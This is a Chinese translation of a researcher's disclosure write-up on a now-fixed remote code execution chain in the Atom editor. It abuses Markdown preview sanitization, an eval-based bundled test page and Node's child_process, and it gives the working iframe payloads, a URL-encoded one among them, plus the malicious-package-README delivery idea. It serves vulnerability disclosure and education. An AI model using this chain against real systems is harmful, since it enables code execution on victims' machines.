Atom也爆遠程代碼執行漏洞?就問你怕不怕!
0x00 前言
最近我花了點時間看了下Atom(https://atom.io/) ,它是由Github發布的文本編輯器。經過一段時間的研究,我可以將Atom中的多個漏洞組合利用最終實現遠程代碼執行。 這個漏洞在我通過HackerOne(https://hackerone.com/github)提交後1.21.1版本(https://github.com/atom/atom/releases/tag/v1.21.1)中已經修復。要是有同學想要對這個漏洞進行復現的話可以通過https://github.com/atom/atom/releases/tag/v1.21.0這個鏈接下載歷史版本。
0x01 將Web安全問題帶到了桌面應用?
Atom是使用Electron(https://electronjs.org/)寫的。Electron是一個基於JavaScript、HTML和CSS用於開發桌面應用的跨平台框架。通過利用現成的框架,可以極大的提高開發效率。 然而這也會產生一些問題,就是會將Web端的安全問題帶到桌面應用中。特別是:XSS漏洞。由於整個應用程序的整體邏輯都是由JavaScript編寫的,所以單個XSS可能導致任意代碼執行。 畢竟,攻擊者可以像軟體的開發人員一樣,在應用程序中執行任意JavaScript代碼(XSS本質上就是任意js代碼執行)。 當然,如果這樣想的話,那就太簡單了。所以Electron提供了一些緩解XSS漏洞的方法。事實上,github的issue上已經有一些針對該問題的討論。但是,與其他漏洞緩解措施一樣,如果使用不當的話,可能仍然會被繞過。
0x02 通過CSP緩解緩解XSS漏洞
在我們挖掘漏洞之前,我們先看一下GitHub的開發人員是如何緩解Atom的XSS問題:使用Content-Security-Policy(內容安全策略)。 翻一下Atom的index.html代碼,你會看到下面的策略:
<!DOCTYPE html><html>n <head>n <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src self unsafe-eval; style-src self unsafe-inline; media-src blob: data: mediastream: * atom://*;">n <script src="index.js"></script>n </head>n <body tabindex="-1"></body></html>n
script-srcselfunsafe-eval
的含義是著同源的JavaScript以及使用eval like構造創建的代碼可以被執行。但是,任何內嵌的JavaScript代碼都不會被執行。 簡單來說,來自「index.js」的JavaScript可以再下面的示例中執行,alert(1) 不能執行,因為它屬於內聯JavaScript代碼:
<!DOCTYPE html><html>n <head>n <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src self unsafe-eval; style-src self unsafe-inline; media-src blob: data: mediastream: * atom://*;">n </head>n <!-- Following line will be executed since it is JS embedded from the same origin -->n <script src="index.js"></script>n <!-- Following line will not be executed since it is inline JavaScript -->n <script>alert(1)</script></html>n
0x03 Atom是如何解析Markdown文件的
在挖掘包含語法解析器或預覽生成器軟體的漏洞時,花費一些時間來研究這些組件往往會有意想不到的收穫。通常情況下,解析庫一般是採用了一些第三方組件,這些組件再開發時可能已經考慮到了這些安全問題。但是就安全性這個問題來講,組件的原作者以及後續基於該組件的開發者來說,兩類人可能會有不同的需求。 舉個例子,開發者會默認這些庫的輸入內容都是可信的。所以我們先來看一看Atom是如何解析Markdown文件的。這個默認組件的相關代碼可以在GitHub上找到:https://github.com/atom/markdown-preview。粗略的看了先,我發現,Markdown解析器似乎也解析了任意的HTML文檔:
所以第一個想法是插入一個簡單的JavaScript代碼片段來檢查JavaScript是否被Markdown庫過濾。雖然CSP會阻止代碼在這裡執行,但是通過這個方法可以檢測到是否採用了一些基本的過濾手段。 如下圖所示,事實證明,響應的腳本代碼並不會出現在DOM中。
所以,針對GitHub上的研究發現,並不是所有的HTML代碼都可以直接渲染執行的。我們來看一下Markdown庫是如何對輸入的內容進行過濾的:
sanitize = (html) ->nt o = cheerio.load(html)nt o(script).remove()nt attributesToRemove = [t onabortnt onblurnt onchangent onclicknt ondbclicknt onerrornt onfocusnt onkeydownnt onkeypressnt onkeyupnt onloadnt onmousedownnt onmousemovent onmouseovernt onmouseoutnt onmouseupnt onresetnt onresizent onscrollnt onselectnt onsubmitnt onunloadnt ]nt o(*).removeAttr(attribute) for attribute in attributesToRemovent o.html()n
可以說是這個過濾手段是非常的雞肋了,但是再配合上CSP的力量,常規的payload應該都不會被執行。 還是回頭看一下之前的截圖,仍然有一些payload是可以被載入的。
通過截圖可以看到,Atom是在file://協議下執行的,那麼如果我們創建一個惡意的HTML文件並在本地嵌入,會發生什麼事呢?按理來說這將被Electron識別為同源,因此JavaScript代碼應該會被執行。 所以我在home文件夾中創建了一個名為hacked.html的文件,文件內容如下:
<script>n alert(1);</script>n
現在只需在Markdown文檔中嵌入iframe,就可以觸發JavaScript代碼。事實確實是這樣。
0x04 構造本地DOM XSS漏洞利用鏈
雖然我現在已經能夠執行任意的JavaScript代碼了,但是這裡存在一個問題:要想利用這個漏洞需要跟用戶進行大量的交互。
- 用戶必須主動打開這個Markdown 文檔
- 用戶必須打開Markdown文檔預覽
- 惡意Markdown文檔需要包含另一個本地惡意JavaScript文件
所以這種問題要是再真實的攻擊場景中,那就有點雞肋了。換個思路,如果包含存在DOM XSS漏洞的本地文件呢?這意味著可以成功的利用這一漏洞。所以我決定看看其他的HTML文件。 幸運的是,在OS X上,應用程序只是一堆文件,我們可以直接看到代碼。從這個文件夾開始往下看:/Applications/Atom.app/Contents:
- 搜索文件夾下的HTML文件找到了這樣一些文件:
? Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.htmln./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.htmln./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.htmln./Resources/app/apm/node_modules/clone/test-apart-ctx.htmln./Resources/app/apm/node_modules/clone/test.htmln./Resources/app/apm/node_modules/colors/example.htmln./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.htmln./Resources/app/apm/node_modules/jsbn/example.htmln
可以使用一些審計js代碼的工具:https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/,或者也可以人工的去審計這些HTML文件。 由於代碼量不算多,通過人工審計的方式,大概看了下/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html中的代碼:
<html>n <head>n <meta charset="utf-8">n <title>Clone Test-Suite (Browser)</title>n </head>n <body>n <script>n var data = document.location.search.substr(1).split(&); try {n ctx = parent[data[0]]; eval(decodeURIComponent(data[1])); window.results = results;n } catch(e) { var extra = ; if (e.name == SecurityError)n extra = This test suite needs to be run on an http server.;n alert(Apart Context iFrame Errorn + e + nn + extra); throw e;n } </script>n </body></html>n
在document.location.search上有一個eval調用,可以通過URL控制傳入的內容。而且,Atom的Content-Security-Policy允許eval語句執行,所以打開如下所示的代碼應該也會彈窗:
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)n
實際上,下面的Markdown文檔就足以執行任意的JavaScript代碼了:
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>n
0x05 本地任意代碼執行
正如文章前面所說,在Electron應用程序中執行惡意JavaScript代碼通常也就意味著本地任意代碼執行。在這種情況下,一個簡單的思路就是訪問window.top對象,並使用NodeJS require函數訪問child_process模塊。 通過以下JavaScript代碼可以打開Mac OS X計算器:
<script type="text/javascript">n window.top.require(child_process).execFile(/Applications/Calculator.app/Contents/MacOS/Calculator,function(){});</script>n
以前的漏洞利用方式是這樣的:
<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>n
只要打開構造好的Markdown文檔,Calculator.app就會打開執行:
0x06 如何實現遠程任意代碼執行?
雖然經過上面的研究我們已經取得了一些進展,但仍然需要受害者打開惡意的Markdown文檔(需要用戶交互的漏洞,價值都會大打折扣)。想了下,要知道tom渲染Markdown文檔可不止這一處。 在Atom源代碼上執行grep搜索之後,還有另外一個渲染Markdown文件的模塊:https://github.com/atom/settings-view/。看了下它的過濾手段,也沒啥卵用。
const ATTRIBUTES_TO_REMOVE = [ onabort, onblur, onchange, onclick, ondbclick, onerror, onfocus, onkeydown, onkeypress, onkeyup, onload, onmousedown, onmousemove, onmouseover, onmouseout, onmouseup, onreset, onresize, onscroll, onselect, onsubmit, onunload]function sanitize (html) { const temporaryContainer = document.createElement(div)n temporaryContainer.innerHTML = html for (const script of temporaryContainer.querySelectorAll(script)) {n script.remove()n } for (const element of temporaryContainer.querySelectorAll(*)) { for (const attribute of ATTRIBUTES_TO_REMOVE) {n element.removeAttribute(attribute)n }n } for (const checkbox of temporaryContainer.querySelectorAll(input[type="checkbox"])) {n checkbox.setAttribute(disabled, true)n } return temporaryContainer.innerHTMLn}n
這裡的Markdown解析器也存在安全問題,而且似乎比前者更嚴重。Atom支持「Packages」,可以由社區的開發者提供第三方插件的擴展。這些第三方插件中Markdown格式的README,會在Atom視圖中呈現。 因此,惡意攻擊者只需要註冊一堆惡意軟體包,或者提供一些與現有軟體名稱相似的軟體包,再README中插入惡意代碼。只要有人點擊該名稱即可(並不需要安裝!),惡意代碼就可以成功的被執行了。
0x07 來看一下Github是怎麼修復這個漏洞的
經過與GitHub開發組討論之後,這個漏洞已經被修復了,修復方法如下:
- 從軟體包中刪除不必要的HTML文件
- 使用 DOMPurify (https://github.com/cure53/DOMPurify)過濾Markdown中的內容 雖然不是一個完美的解決方案,但就目前來講也是一個不錯的緩解措施。
本文翻譯自 https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/ 如若轉載,請註明原文地址: http://www.4hou.com/vulnerable/8681.html
推薦閱讀:
※聖誕節專題 | 躲得過初一、躲得過十五,卻躲不過Cyber Monday!
※義大利再現一家Hacking Team 這是怎麼回事?
※通過域名註冊控制目標所有io後綴的域名
TAG:信息安全 |